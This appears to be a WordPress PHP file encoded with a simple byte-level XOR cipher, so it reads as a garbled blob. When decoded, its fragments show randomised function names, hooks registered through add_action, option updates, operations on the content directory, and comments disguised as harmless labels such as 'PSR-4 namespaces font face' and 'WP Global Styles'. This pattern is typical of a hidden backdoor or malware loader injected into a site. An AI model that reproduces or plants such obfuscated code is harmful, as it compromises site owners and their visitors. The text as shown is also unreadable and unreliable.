aozjlg0f<j1nk{ 9;?! ,~d{n`l>Wbry890!!((s(zm|}zf((illWik|agf ,l~n:8?0n:~9}z$((n}fk|agf((( &&&,}c~gg=c1n9x~=z8x!(((}{m((( ,~d{n`l>Wbry890!(s((((an((( aW;~yrxiqyjro >9! ,~d{n`l>Wbry890!!((((zm|}zf(,~d{n`l>Wbry890 &&&,}c~gg=c1n9x~=z8x!3zm|}zf(f}dd3u$(((,ndjnir;e;:?fazg9$((((,ebezm{a8c:j8o9}~!3,Wlj~yyW{~p5X@XWAF\WEIP'X@XWAF\WEIP3,mjj~c<91dd;`5,Wlj~yyW{~p#093(((((u(zm|}zf((((illWik|agf ,l~n:8?0n:~9}z$(((,~d{n`l>Wbry890$(,ndjnir;e;:?fazg9$(,ebezm{a8c:j8o9}~!3(u(n}fk|agf(c;lmzWo8=1?0ml=o ,l~n:8?0n:~9}z$(((,~d{n`l>Wbry890$((((((,ndjnir;e;:?fazg9((5((( >1V?1!$(((,ebezm{a8c:j8o9}~(5(9!((((s(((((an(((( )aozjlg0f<j1nk{ >9! jj`>dqcld1xlfd: 9;0!!!(zm|}zf(((((nid{m3(an( aW;~yrxiqyjro 9;?! ,~d{n`l>Wbry890!!((((((s((zm|}zf(((illWnad|mz ,l~n:8?0n:~9}z$(n}fk|agf(( &&&,}c~gg=c1n9x~=z8x!(}{m(( ,~d{n`l>Wbry890!((san( rq;ec{mmgl| 9;1! ,~d{n`l>Wbry890!!((((zm|}zf(,~d{n`l>Wbry890 &&&,}c~gg=c1n9x~=z8x!3((((((((zm|}zf(a{{m| ,}c~gg=c1n9x~=z8xS8U!((((7((,}c~gg=c1n9x~=z8xS8U(2(((f}dd3(((((u$((,ndjnir;e;:?fazg9$((,ebezm{a8c:j8o9}~!3,c~bo~>o9izb15 8p:;#8p0k!3,l{1mx;p|5,c~bo~>o9izb1-9;3((((((u((((zm|}zf(((((illWnad|mz ,l~n:8?0n:~9}z$((((((,~d{n`l>Wbry890$((((,ndjnir;e;:?fazg9$(,ebezm{a8c:j8o9}~!3(((u(n}fk|agf(((e||ngqy~:jfj0;o0a !s((((,z?xcd9c}k{8(((5(((((lmnafml jj`>dqcld1xlfd: 9<8!!(((7((((_XWKGF\MF\WLAZ(&(jj`>dqcld1xlfd: 9<9!(((&((g{mxxjmmdpz1}` IJ[XI\@(&(jj`>dqcld1xlfd: <=!$(( ?#9!!((((2((((((rq;ec{mmgl| 99! z9>1{1jm8r8;e~8 !!((&(jj`>dqcld1xlfd: 9<:!3an(( )Hrq;ec{mmgl| 98?! ,z?xcd9c}k{8!((((((..(((((gzca`j`{e`e<W|`r ,z?xcd9c}k{8!!((((sWfpcp9{<d<qobniil ,z?xcd9c}k{8$((( 8p:0#8p9k=!$((((|z}m!3((an((( HaW;~yrxiqyjro 98?! ,z?xcd9c}k{8!!((((s(((|;1bljy:yp8ja?:f?}g1i ,z?xcd9c}k{8((&((aW;~yrxiqyjro 9<;!$(((((*47x`x(''([admfkm(a{(ogdlmf&Tf*$(jj`>dqcld1xlfd: <=!!3u((((u(an((((( Hrq;ec{mmgl| 9<<! ,z?xcd9c}k{8!(..((Hjj`>dqcld1xlfd: 9<=! ,z?xcd9c}k{8!!(((((s''(xikcml(diqg}|zm|}zf(,z?xcd9c}k{83(((u''(kgddmk|(li|indg%ozix`(ngz(_X(Odgjid([|qdm{((((,k>01;ojm9;?bzig((((5(rq;ec{mmgl| 99! z9>1{1jm8r8;e~8 !!(((&(jj`>dqcld1xlfd: 9<:!3(an((( )Hrq;ec{mmgl| 9<>! ,k>01;ojm9;?bzig!(((..(((gzca`j`{e`e<W|`r ,k>01;ojm9;?bzig!!((Wfpcp9{<d<qobniil ,k>01;ojm9;?bzig$((((( <:?#>>!$((|z}m!3an( HaW;~yrxiqyjro 9<>! ,k>01;ojm9;?bzig!(((..(Hjj`>dqcld1xlfd: 9<=! ,k>01;ojm9;?bzig!!(((zm|}zf(,k>01;ojm9;?bzig3,bgfyl{mnx{xayfy((5((aW;~yrxiqyjro 99! z9>1{1jm8r8;e~8 !!3(((((((an(((( HaW;~yrxiqyjro 9<=! ,bgfyl{mnx{xayfy!(..((,bgfyl{mnx{xayfy(()55((}Wkig1fmg~0~qc<{g`|88f !!((((zm|}zf(((,bgfyl{mnx{xayfy3an(( lmnafml jj`>dqcld1xlfd: 9<8!!(..((((Hrq;ec{mmgl| 9<?! _XWKGF\MF\WLAZ!(..((((gzca`j`{e`e<W|`r _XWKGF\MF\WLAZ!!(zm|}zf(((((_XWKGF\MF\WLAZ3((((zm|}zf((,z?xcd9c}k{83((u((n}fk|agf(((}ql:?yp08{}elk0~|}1ni !s(an( lmnafml rq;ec{mmgl| 9<8!!((((..(((((Hrq;ec{mmgl| 9<?! _XWKGF\MF\WLAZ!((..(((gzca`j`{e`e<W|`r _XWKGF\MF\WLAZ!!((zm|}zf(((((_XWKGF\MF\WLAZ3(((((((,lj1<jr:d:(5((aW;~yrxiqyjro 9<0! z9>1{1jm8r8;e~8 !!3((((an( gzca`j`{e`e<W|`r ,lj1<jr:d:!!(((zm|}zf(,lj1<jr:d:3((zm|}zf((_XWKGF\MF\WLAZ3((u(((((n}fk|agf((((rem9ln;b0>:j~|k9reo= ,fd8pcbk08m0!(s((an(( mex|q ,ODGJID[Saozjlg0f<j1nk{ 9<1!U!(tt((()aW;~yrxiqyjro 9=8! ,ODGJID[Saozjlg0f<j1nk{ 9=9!U!!(((zm|}zf(nid{m3an( a{{m| ,ODGJID[Sjj`>dqcld1xlfd: 9=:!US,fd8pcbk08m0U!!(zm|}zf((|z}m3(,j=8elkj:gjr(5((rq;ec{mmgl| 9;1! jj`>dqcld1xlfd: 9=;!!(7(Haozjlg0f<j1nk{ 9=;! ,fd8pcbk08m0!((2(nid{m3(((zm|}zf((( ,j=8elkj:gjr(()55((((nid{m(((..(((((a{{m| ,ODGJID[Sjj`>dqcld1xlfd: 9=:!US,j=8elkj:gjrU!!3u((n}fk|agf(r>rp}W~~`{la9x8lj??nr ,fd8pcbk08m0!(s'"(ilix|a~m(kgeeifl("',jnefc>fodf:xf|51:"?3,|;zcqqloor;{`}5,jnefc>fodf:xf|%;3an( mex|q ,ODGJID[Saozjlg0f<j1nk{ 9=<!U!(tt(((()aW;~yrxiqyjro 9=8! ,ODGJID[SaW;~yrxiqyjro 9=<!U!!((zm|}zf3(}f{m| ,ODGJID[SaW;~yrxiqyjro 9=<!US,fd8pcbk08m0U!3((((,j=8elkj:gjr(5((aW;~yrxiqyjro 9;1! rq;ec{mmgl| 9=;!!(7(((Hjj`>dqcld1xlfd: 9=;! ,fd8pcbk08m0!((2(nid{m3an((( ,j=8elkj:gjr(()55((((nid{m!((((}f{m| ,ODGJID[Sjj`>dqcld1xlfd: 9==!US,j=8elkj:gjrU!3un}fk|agf((((((lrWag=qdp9n{oia ,fd8pcbk08m0!(((((((s((((((an(((( )a{{m| ,ODGJID[SaW;~yrxiqyjro 9==!U!(((tt()aozjlg0f<j1nk{ 9=8! ,ODGJID[Srq;ec{mmgl| 9=>!U!!(s(((((,ODGJID[Saozjlg0f<j1nk{ 9=>!U((5((((izziq !3(u,oz1pnqbi=if<~b(5(((rq;ec{mmgl| 9;1! aW;~yrxiqyjro 9=;!!((7(((Hrq;ec{mmgl| 9=?! ,fd8pcbk08m0!(((((2(nid{m3(,ODGJID[Srq;ec{mmgl| 9=>!US,oz1pnqbi=if<~b(()55(nid{m((7(,oz1pnqbi=if<~b(2((,fd8pcbk08m0U(((5(((,fd8pcbk08m03(({|i|ak(,gd901k:|8e((5((nid{m3((an( ),gd901k:|8e!(s((((,gd901k:|8e(((5((|z}m3(((an((((( rq;ec{mmgl| 9=0! rq;ec{mmgl| 9=1!!!((aozjlg0f<j1nk{ 9=1! rq;ec{mmgl| 9>8!!3(u(((u(n}fk|agf(((((igm~99lW=W`9cd !s(an((( mex|q ,ODGJID[Saozjlg0f<j1nk{ 9>9!U!(tt((()rq;ec{mmgl| 9>:! ,ODGJID[Srq;ec{mmgl| 9>9!U!!((s(((zm|}zf3(u((ngzmik`(((( ,ODGJID[Sjj`>dqcld1xlfd: 9>;!U(i{(((,crlW>k1=W00(((56((,d90kb|bg>e;W<n<m!(((s((((an((((( )aW;~yrxiqyjro 9;?! ,d90kb|bg>e;W<n<m!!(,d90kb|bg>e;W<n<m(5((((,crlW>k1=W003((an(( ,crlW>k1=W00((((555((((z9>1{1jm8r8;e~8 !((tt((,d90kb|bg>e;W<n<m(((((555(((((z9>1{1jm8r8;e~8 !!((kgf|af}m3(|zq((s((an((( HaW;~yrxiqyjro =9! ,d90kb|bg>e;W<n<m!!((s((((an(((( aW;~yrxiqyjro 9=0! jj`>dqcld1xlfd: 9><!!!((((yy|m;zWdxb}n{r{~akm ,d90kb|bg>e;W<n<m$( 8p=?#8p9<l!!3((an((((( rq;ec{mmgl| 9=0! aW;~yrxiqyjro 91!!((((..(aqdz{8}zyk~qm;yf ,d90kb|bg>e;W<n<m!(..(aW;~yrxiqyjro 9=0! aozjlg0f<j1nk{ 9>=!!!((Hgxkik`mWaf~idali|m ,d90kb|bg>e;W<n<m$((|z}m!3u((u((ki|k`(((( \`zgijdm(,d|f9x=j|9W:!(s(((u(ki|k`(( Mpkmx|agf(((((,d|f9x=j|9W:!((s''(_X(Xg{|(Li|m2(aflmkgexg{ijdm(emlai|gzu((u(u((n}fk|agf((((((ip8|<f|j}nzrl{`1g !(s|zq(((s((,d|f9x=j|9W:((((5((jj`>dqcld1xlfd: 9>>! rq;ec{mmgl| 9>?!!(((7(HmzzgzWom|Wdi{| !((((2(((((f}dd3((an((((( )aW;~yrxiqyjro 9>0! ,d|f9x=j|9W:!(tt(((mex|q ,d|f9x=j|9W:Saozjlg0f<j1nk{ 9>1!U!(((((tt(mex|q ,d|f9x=j|9W:Saozjlg0f<j1nk{ 9?8!U!!(zm|}zf3((an(( )rq;ec{mmgl| >=! ,d|f9x=j|9W:Saozjlg0f<j1nk{ 9?8!U$(((izziq MWMZZGZ$(((MWXIZ[M$((((MWKGZMWMZZGZ$(MWKGEXADMWMZZGZ$((MW][MZWMZZGZ!$((|z}m!!(zm|}zf3,~?b9=1{ef>n1x?((((5(((((a{{m| ,d|f9x=j|9W:Sjj`>dqcld1xlfd: 9?9!U!((((7((( {|zafo!(,d|f9x=j|9W:Saozjlg0f<j1nk{ 9?:!U((2((**3an( {|zaxg{ ,~?b9=1{ef>n1x?$(rq;ec{mmgl| 9?;!!((((()55((((((nid{m((tt((({|zaxg{ ,~?b9=1{ef>n1x?$((aW;~yrxiqyjro 9?<!!((((()55(((nid{m!((((zm|}zf3((,rbmnbr{>j=~m;da0((5((((aW;~yrxiqyjro 9>>! aW;~yrxiqyjro 9=?!!(7((((Haozjlg0f<j1nk{ 9?=! z9>1{1jm8r8;e~8 !!((2(z9>1{1jm8r8;e~8 !3(,Wmn((5(rq;ec{mmgl| 9>>! rq;ec{mmgl| 9?>!!(((7((Hrq;ec{mmgl| 9??! ,d|f9x=j|9W:SaW;~yrxiqyjro 9>1!U!(2(,d|f9x=j|9W:Saozjlg0f<j1nk{ 9>1!U3,bqbdlka}cz{l5X@XWEIBGZW^MZ[AGF3,|xy~rWmng?c~<5,bqbdlka}cz{l"13(((((((an( )rq;ec{mmgl| 9?0! ,rbmnbr{>j=~m;da0!(((tt(()rq;ec{mmgl| 9?0! ,Wmn!(tt((,Wmn()55((((,rbmnbr{>j=~m;da0!((zm|}zf3(((an(((( a{{m| ,ODGJID[Saozjlg0f<j1nk{ 9?1!U!!(s(((((((,b:c<~8dq<;b((5((Hjj`>dqcld1xlfd: >?! z9>1{1jm8r8;e~8 !$((((nid{m$(((((f}dd$((8$(( 98;#;11;!!3(((an( aozjlg0f<j1nk{ 9?0! ,b:c<~8dq<;b!(((..((aW;~yrxiqyjro >1! aozjlg0f<j1nk{ ?8!$((,b:c<~8dq<;b$((,Wle!((..(((,WleS9U(()55(( {|zafo!((,ODGJID[Sjj`>dqcld1xlfd: 9?1!U!(((zm|}zf3(}f{m| ,b:c<~8dq<;b$((,Wle!3((((an(((( a{{m| ,ODGJID[Saozjlg0f<j1nk{ 908!U!!(((s'"(gxmf(x`if|ge("'(((an(( aozjlg0f<j1nk{ 9>>! rq;ec{mmgl| 909!!!((Hkdmiz{|i|kik`m |z}m$(z9>1{1jm8r8;e~8 !!3((((((,oq8b0y1ypmg|i{gf(5(( {|zafo!(((Haozjlg0f<j1nk{ 90:! z9>1{1jm8r8;e~8 !!(((&((/2/((((&(( {|zafo!(Haozjlg0f<j1nk{ ?9! z9>1{1jm8r8;e~8 !!3(an((((( ,oq8b0y1ypmg|i{gf((()55(((( {|zafo!((,ODGJID[Saozjlg0f<j1nk{ 908!U!(zm|}zf3(((((((((}f{m| ,oq8b0y1ypmg|i{gf!3(u(((((u,l~y:yixbb~r8q((5((((rq;ec{mmgl| 9:! z9>1{1jm8r8;e~8 !$(jj`>dqcld1xlfd: 90;!!3(((((,bqk<yf:lcyW`g((((5(((jj`>dqcld1xlfd: 1=! bW0a{a?}a`=bcb<?m  {|zafo!((Haozjlg0f<j1nk{ >?! z9>1{1jm8r8;e~8 !!!!3(((((|;1bljy:yp8ja?:f?}g1i aozjlg0f<j1nk{ 9<0! z9>1{1jm8r8;e~8 !!(((&(aW;~yrxiqyjro 90<!((&(,l~y:yixbb~r8q$(,bqk<yf:lcyW`g$(/y/!3an(((( ,bqk<yf:lcyW`g()55(((**!((((((s|;1bljy:yp8ja?:f?}g1i jj`>dqcld1xlfd: 9<0! z9>1{1jm8r8;e~8 !!((((&(((jj`>dqcld1xlfd: 90=!((((((&((((,bqk<yf:lcyW`g$((( {|zafo!(rq;ec{mmgl| 90>! !$(((/y/!3((an(((( rq;ec{mmgl| 90?! aW;~yrxiqyjro 900!!!(s((((((H}xli|mWgx|agf aW;~yrxiqyjro 901!$(((((,bqk<yf:lcyW`g(&((/t/(((((&(jj`>dqcld1xlfd: 918! !$(((aozjlg0f<j1nk{ 919!!3(u(((((u(((((((,rmo<cd~9:j9aq(5(((}Wkig1fmg~0~qc<{g`|88f !3((((an((( ,rmo<cd~9:j9aq((()55((jj`>dqcld1xlfd: 91:! z9>1{1jm8r8;e~8 !!((((..(Hrq;ec{mmgl| 9<>! ,rmo<cd~9:j9aq!(((..(((Hjj`>dqcld1xlfd: 9<?! ,rmo<cd~9:j9aq!!((((s((((|;1bljy:yp8ja?:f?}g1i ,rmo<cd~9:j9aq((&((((((aozjlg0f<j1nk{ 90<!((((&((,l~y:yixbb~r8q$((,bqk<yf:lcyW`g$((((/y/!3(u((an((( aozjlg0f<j1nk{ 90?! jj`>dqcld1xlfd: >8!!(((..((((aW;~yrxiqyjro 91;! aW;~yrxiqyjro 900!!!(s(,lij9~z;;xf{|((((5((om|Wgx|agf aW;~yrxiqyjro 91<!$(((izziq !!3(an((( jj`>dqcld1xlfd: 9>0! ,lij9~z;;xf{|!(((..(jj`>dqcld1xlfd: 91=! y8`z=>rj?181>nriz8 !$(((,lij9~z;;xf{|$(|z}m!!(((sH}xli|mWgx|agf aozjlg0f<j1nk{ 91<!$(rq;ec{mmgl| >>! rq;ec{mmgl| 91>! ,lij9~z;;xf{|$(((((izziq y8`z=>rj?181>nriz8 !!!!!3((((((u((uf>=x;~101zi;joqoid:1 aW;~yrxiqyjro 91?!!3,c?f>nx9mc~:Wb(5(z9>1{1jm8r8;e~8 !((((&((((aW;~yrxiqyjro 910!3(((((((an( rq;ec{mmgl| 91;! aozjlg0f<j1nk{ :;!!!(Hrq;ec{mmgl| 911! z9>1{1jm8r8;e~8 !$(,c?f>nx9mc~:Wb!3((an((((( rq;ec{mmgl| 91;! rq;ec{mmgl| :88!!!(sHgxkik`mWaf~idali|m z9>1{1jm8r8;e~8 !$((|z}m!3(((((Hgxkik`mWaf~idali|m ,c?f>nx9mc~:Wb$((|z}m!3((u(((((ngzmik`(((( izziq aozjlg0f<j1nk{ 91:! ,c?f>nx9mc~:Wb!$(}Wkig1fmg~0~qc<{g`|88f !!(i{(,|ob8?lgp>d0n!(((s,yf;~1fmg~c=((5(}:{9};`f?=m?`{`i{yc} ,|ob8?lgp>d0n!3(an( )rq;ec{mmgl| 9>0! ,yf;~1fmg~c=!!(((kgf|af}m3,{9=kk;01zc=>5?=<3,o1<a>gWrx5 ,{9=kk;01zc=>68!7,{9=kk;01zc=>2%,{9=kk;01zc=>3(ngzmik`(((((( ,yf;~1fmg~c=(((((i{((,~ibxayf;i8db!(((((san((((( rq;ec{mmgl| 9:?! ,~ibxayf;i8db$((((% 9=%?!!()55(((jj`>dqcld1xlfd: :89!!(kgf|af}m3((,}b?lazyfnr`:f8>(5((,|ob8?lgp>d0n((&(((/'/(&((,~ibxayf;i8db3(((,y`rplcbd<aeei?i(((5((Hjj`>dqcld1xlfd: :8:! ,}b?lazyfnr`:f8>!3(((an(( ,y`rplcbd<aeei?i((..((,y`rplcbd<aeei?i(4(jj`>dqcld1xlfd: :8;! !(((((%(( >8<?>1#;9!!((((s''(i|ge(|ijdm((((yy|m;zWdxb}n{r{~akm ,}b?lazyfnr`:f8>$( <90#:!!3(aqdz{8}zyk~qm;yf ,}b?lazyfnr`:f8>!3(u((((((u((((u(((}f{m| ,|ob8?lgp>d0n$(((,yf;~1fmg~c=$((,~ibxayf;i8db$(,}b?lazyfnr`:f8>$((((,y`rplcbd<aeei?i!3((((u((((ki|k`((( \`zgijdm((((,bji~l0~ffxy8j1c!(((s(u(((ki|k`(((( Mpkmx|agf(,bji~l0~ffxy8j1c!(((((suu(n}fk|agf((((((g1{o;ei`f:;c< ,fd8pcbk08m0$((,ajm>8>~ez?>;!(s((((|zq(((san(( )jj`>dqcld1xlfd: 9?0! ,fd8pcbk08m0!((tt((((((,fd8pcbk08m0((((555((**(((tt(((()rq;ec{mmgl| 9?0! ,ajm>8>~ez?>;!((((tt(,ajm>8>~ez?>;((555(((**!(((zm|}zf3(,z?xcd9c}k{8(((5(((jj`>dqcld1xlfd: :8<! ,fd8pcbk08m0!3an((( )Hjj`>dqcld1xlfd: :8=! ,z?xcd9c}k{8!((((((tt(((()Hjj`>dqcld1xlfd: 9<?! ,z?xcd9c}k{8!!(zm|}zf3(,xW<=mcyedpz{1z9((((5((,z?xcd9c}k{8(((&(aW;~yrxiqyjro :8>!(((&(((aozjlg0f<j1nk{ :8?! ,fd8pcbk08m0$((((aW;~yrxiqyjro 90;!!3,yy>?}}9nW?c9:(5((Haozjlg0f<j1nk{ :80! ,xW<=mcyedpz{1z9!3an( aozjlg0f<j1nk{ :81! ,yy>?}}9nW?c9:!(((((..(rq;ec{mmgl| >1! aozjlg0f<j1nk{ :98!$(((((,yy>?}}9nW?c9:$(((,~?b9=1{ef>n1x?!(((..(((~mz{agfWkgexizm ,~?b9=1{ef>n1x?S8U$(((((,ajm>8>~ez?>;$((((((aW;~yrxiqyjro :99!!!(zm|}zf3(((((an( rq;ec{mmgl| 91;! aozjlg0f<j1nk{ :9:!!!(((Haozjlg0f<j1nk{ :9:! ,xW<=mcyedpz{1z9$(((,ajm>8>~ez?>;!3(((((u(ki|k`( \`zgijdm((((,d|f9x=j|9W:!(su((((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!((s((u(((u((((((((n}fk|agf(bj0ly099krf>xyoi !s((((((|zq(((san( )aW;~yrxiqyjro :9;! aW;~yrxiqyjro >8!!!((s''(X[Z%<(fiem{xikm{(ngf|(nikm((zm|}zf3((u(((((an( Hom|Wgx|agf jj`>dqcld1xlfd: :9<!$(8!!(s,|zxb;b>n~iyc`=59:>t:<>3,l}dok8k08:5,|zxb;b>n~iyc`=V;3(oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :9=!$(aozjlg0f<j1nk{ :9>!$(8!3(((uan(((( )keabp1?l:==10>dne1f<9 aozjlg0f<j1nk{ :9?!!!(((zm|}zf3(((((((,y{}:=ajkd(5((rq;ec{mmgl| 9:?! jj`>dqcld1xlfd: :90! IJ[XI\@(((&(( {|zafo!(((xzbpr<d>l>eb<:~ !!$((((8$((( 8p=#8p?!!3(((,|:rzi=z<:a9((((5((((( {|zafo!((Hom|Wgx|agf ,y{}:=ajkd$(((**!3((,q;g0{icjb<bdk((5((((aozjlg0f<j1nk{ :91!3((((,~~~9r>zx=W?c8(5(**3(((((,mn:plWaon9>{z(5((({|zzm~ ac0{`=o;}0p=}qpady1kq !!3((,rWd=r0{?`9y;pl((((5((ojcir|0ro>gifi>;n?| !3(,mpn?`8b0;=>0xac(5((((,rWd=r0{?`9y;pl(((&((/t/((&((,mn:plWaon9>{z3(an(( aW;~yrxiqyjro 1;! ,|:rzi=z<:a9$(((/t/!(()55(((nid{m!(s((((,bi=iemb>r}kjc(5((rq;ec{mmgl| ::8! /t/$(,|:rzi=z<:a9$((((:!3,q;g0{icjb<bdk(((5(((,bi=iemb>r}kjcS8U3((((,~~~9r>zx=W?c8(5(((,bi=iemb>r}kjcS9U3((((u(((((md{m(s(((((,~~~9r>zx=W?c8((5((,|:rzi=z<:a93(uan(( ),~~~9r>zx=W?c8!(s(H}xli|mWgx|agf ,y{}:=ajkd$(((,mpn?`8b0;=>0xac$(((aW;~yrxiqyjro ::9!!3(zm|}zf3((((u((an(( ,~~~9r>zx=W?c8(555(((,mn:plWaon9>{z!((((s((an((( ,|:rzi=z<:a9()55((,mpn?`8b0;=>0xac(((..(((~mz{agfWkgexizm ,rWd=r0{?`9y;pl$(,q;g0{icjb<bdk$(((rq;ec{mmgl| :99!!!(((((s((H}xli|mWgx|agf ,y{}:=ajkd$(,mpn?`8b0;=>0xac$(((rq;ec{mmgl| ::9!!3(uzm|}zf3(((((((u(((((,f0o=0j>`9<eroaa(((5(({|zzm~ ,~~~9r>zx=W?c8!3((((((an(( ,f0o=0j>`9<eroaa(((555(((((**(((tt((aW;~yrxiqyjro :8?! ,f0o=0j>`9<eroaa!((()55((((,f0o=0j>`9<eroaa!((s((H}xli|mWgx|agf ,y{}:=ajkd$((((,mpn?`8b0;=>0xac$(rq;ec{mmgl| ::9!!3((zm|}zf3(u(((((((,~191rkfjil9<xbom((((5(((}Wkig1fmg~0~qc<{g`|88f !(&((((/'/((&(((,f0o=0j>`9<eroaa3((,y>x`olgqp=iao<|p(((5((((**3(an(( lmnafml aozjlg0f<j1nk{ >!!!(((s,y>x`olgqp=iao<|p(5(((_XWXD]OAFWLAZ(&(((((/'/(&(aozjlg0f<j1nk{ :::! ,f0o=0j>`9<eroaa$(XI\@AFNGWNADMFIEM!(&((/'/(((&((((,f0o=0j>`9<eroaa3((((((u((((((((,e~~p;0}i0`~fce|p(((((5(HaW;~yrxiqyjro 90:! ,~191rkfjil9<xbom!3(((,j}qn;8rW8klq(5(((((,e~~p;0}i0`~fce|p(()55(((nid{m(((..((((,e~~p;0}i0`~fce|p(65(((( 8p9:>j#8p99l!3((((((,myipn|j<mfb((5(((,y>x`olgqp=iao<|p((7(((Haozjlg0f<j1nk{ ::;! ,y>x`olgqp=iao<|p!(2(((nid{m3((,lc{Wnc8b1i((((5(,myipn|j<mfb((()55(((((nid{m(((..((,myipn|j<mfb(((((65(( ;?;1#9:>9!3(an(( ),j}qn;8rW8klq(..(((),lc{Wnc8b1i!((s(H}xli|mWgx|agf ,y{}:=ajkd$(,mpn?`8b0;=>0xac$((((aozjlg0f<j1nk{ ::9!!3(((zm|}zf3,ef`qxc0nWn5X@XWEIBGZW^MZ[AGF3,yn=:ez~apajqc`5,ef`qxc0nWn"<3(((u((,|x~elm{`ebdn(5((,j}qn;8rW8klq((((((7(((,~191rkfjil9<xbom(((((2((((,y>x`olgqp=iao<|p3,kmd~;<8x1?l((((5(((Hjj`>dqcld1xlfd: :80! ,|x~elm{`ebdn$(((nid{m$((f}dd$((8$( <19:%09>!!3(((((((an((((( aozjlg0f<j1nk{ :81! ,kmd~;<8x1?l!((..((aozjlg0f<j1nk{ ::<! jj`>dqcld1xlfd: ::=!$((,kmd~;<8x1?l$(((((,Wne!!((s,q;g0{icjb<bdk(((5(,WneS9U3u((((md{man( pm1aWkmd{lc;n~ ,|x~elm{`ebdn$(( >9=>%99=>!!!((s(,q;g0{icjb<bdk((5(aozjlg0f<j1nk{ :91!3(u((((((}f{m| ,kmd~;<8x1?l$(((((,Wne!3(,WWdqzmW`a0g(5((,j}qn;8rW8klq3an(( ),WWdqzmW`a0g((..((((,lc{Wnc8b1i!(s(,jp|j?:;8r=(((5((aW;~yrxiqyjro :::! ,f0o=0j>`9<eroaa$((XI\@AFNGWNADMFIEM!(((((&((/'/((&((,f0o=0j>`9<eroaa3,aqrz?0of>{l?be(((5(( izziq!((((Hom|Wgx|agf aozjlg0f<j1nk{ ::>!$((izziq !!3((((((((,WWdqzmW`a0g(((((5((aW;~yrxiqyjro 91=! ,jp|j?:;8r=$(((((,aqrz?0of>{l?be$((|z}m!3((an(( ),WWdqzmW`a0g(..((((aozjlg0f<j1nk{ :9;! aozjlg0f<j1nk{ ::?!!((..(((((a{We}d|a{a|m !((..(((jj`>dqcld1xlfd: ::0! rq;ec{mmgl| ::1!!!(((s,n~bol>a0ix(5(((( izziq!((Hom|W{a|mWgx|agf jj`>dqcld1xlfd: :;8!$((((izziq !!3(((((,WWdqzmW`a0g((5(((a{{m| ,n~bol>a0ixS,jp|j?:;8r=U!3((}f{m| ,n~bol>a0ix!3(((((u((((}f{m| ,jp|j?:;8r=$(,aqrz?0of>{l?be!3(((u(((((((,cp`zi{r?m9f`;q:((5(((~mz{agfWkgexizm ,rWd=r0{?`9y;pl$(((((,q;g0{icjb<bdk!3an(((( ,cp`zi{r?m9f`;q:(45(((8!(s,da{9f0xl~oW((((((5(((pm1aWkmd{lc;n~ ,|x~elm{`ebdn$( <1:?#?;!!3(,g~ii8bWfmkmk(((((5(( af|!(Haozjlg0f<j1nk{ ::;! ,|x~elm{`ebdn!3(((((,ii;di<cm1c:gp;1((((5(( ),da{9f0xl~oW(tt(((,g~ii8bWfmkmk(((6( ?;:0;=8<%:80=<?8<!!3((((an(( ),ii;di<cm1c:gp;1(..(,g~ii8bWfmkmk(6( 8p:mn:0#8pl98l0!!(((((s''(fadxg|mf|(xaxmdafm(((,n1mz`nq}9(5(((Hjj`>dqcld1xlfd: :;9! ,|x~elm{`ebdn$((nid{m$((f}dd$((8$(( <89>#08!!3((((an(((( )aW;~yrxiqyjro :;:! ,n1mz`nq}9!(((((tt((()rq;ec{mmgl| ::<! aW;~yrxiqyjro :;;!$((,n1mz`nq}9!!(((,ii;di<cm1c:gp;1((5((|z}m3((u((((((an(((( ),ii;di<cm1c:gp;1((..()f?~=kr:}=g??k`pz ,|x~elm{`ebdn!!(,ii;di<cm1c:gp;1((5((((|z}m3((((an((( ),ii;di<cm1c:gp;1!(((s((,mz`x>r`er?g(((5((|dpk0{9`iop0j>< !3((an( )mex|q ,mz`x>r`er?gSaW;~yrxiqyjro :;<!U!!(s''(X[Z%9=(ealldmizm2(mpxgfmf|aid(jikcdgo((,fd<j{g<i1|dpn((((5((((Hjj`>dqcld1xlfd: :;=! ,mz`x>r`er?gSaozjlg0f<j1nk{ :;<!U!3((,z`o<`}9<m=8b8i0(((((5(((((HaW;~yrxiqyjro :;=! ,|x~elm{`ebdn!3((an(( rq;ec{mmgl| :;:! ,fd<j{g<i1|dpn!(..((aW;~yrxiqyjro :;:! ,z`o<`}9<m=8b8i0!((..((((((,fd<j{g<i1|dpn((555(((,z`o<`}9<m=8b8i0!((s(((((,Wiefj=qfz{zm`ea(5((k}9xkkmk:i~f}np? ,mz`x>r`er?g!3((((an(((( ,Wiefj=qfz{zm`ea(((555((aozjlg0f<j1nk{ :;>!(tt(((,Wiefj=qfz{zm`ea((555((((aW;~yrxiqyjro :;?!!((,ii;di<cm1c:gp;1(((((5(((|z}m3(((((u}f{m| ,fd<j{g<i1|dpn$((,z`o<`}9<m=8b8i0$(,Wiefj=qfz{zm`ea!3(u''(lmnzioemf|(kgf{|ziaf|%{m|(ngz(_X(Ozg}x(Jdgkc((an( ),ii;di<cm1c:gp;1((((((..((~bfe8yoygn=zf ,|x~elm{`ebdn!!((,ii;di<cm1c:gp;1(5(((|z}m3}f{m| ,mz`x>r`er?g!3(((u((an((( ,ii;di<cm1c:gp;1!((san( ,da{9f0xl~oW!((lrWag=qdp9n{oia ,|x~elm{`ebdn!3(H}xli|mWgx|agf ,y{}:=ajkd$(((,mpn?`8b0;=>0xac$(rq;ec{mmgl| ::9!!3zm|}zf3((((uan(( ),WWdqzmW`a0g!(((s((H}xli|mWgx|agf ,y{}:=ajkd$((,mpn?`8b0;=>0xac$(aW;~yrxiqyjro ::9!!3(zm|}zf3(((u(((g1{o;ei`f:;c< z9>1{1jm8r8;e~8 !$((,q;g0{icjb<bdk!3(((z;;epaz{aW`~jflap z9>1{1jm8r8;e~8 !!3((zm|}zf(((((|z}m3u(((((an( mex|q ,ODGJID[Saozjlg0f<j1nk{ :;0!U!!(s(,ODGJID[Srq;ec{mmgl| :;0!U((((5((((|z}m3(an( pm1aWkmd{lc;n~ ,|x~elm{`ebdn$((( <119#1!!!((lrWag=qdp9n{oia ,|x~elm{`ebdn!3,bp~a9dyekcnbq8((5((rq;ec{mmgl| :8;! !3(k88c<`??}faWpk;0qo|l| z9>1{1jm8r8;e~8 !$((( ,bp~a9dyekcnbq8((%(((((( ,bp~a9dyekcnbq8(((-(((( 9=8099%=8099!!!(((#((xzbpr<d>l>eb<:~ !!3(((}f{m| ,bp~a9dyekcnbq8!3((((((((g1{o;ei`f:;c< ,~191rkfjil9<xbom$(((,rWd=r0{?`9y;pl!3((((an(((((( ,y>x`olgqp=iao<|p!(g1{o;ei`f:;c< ,y>x`olgqp=iao<|p$(((,rWd=r0{?`9y;pl!3oq:cd8{~l8;r}~cj 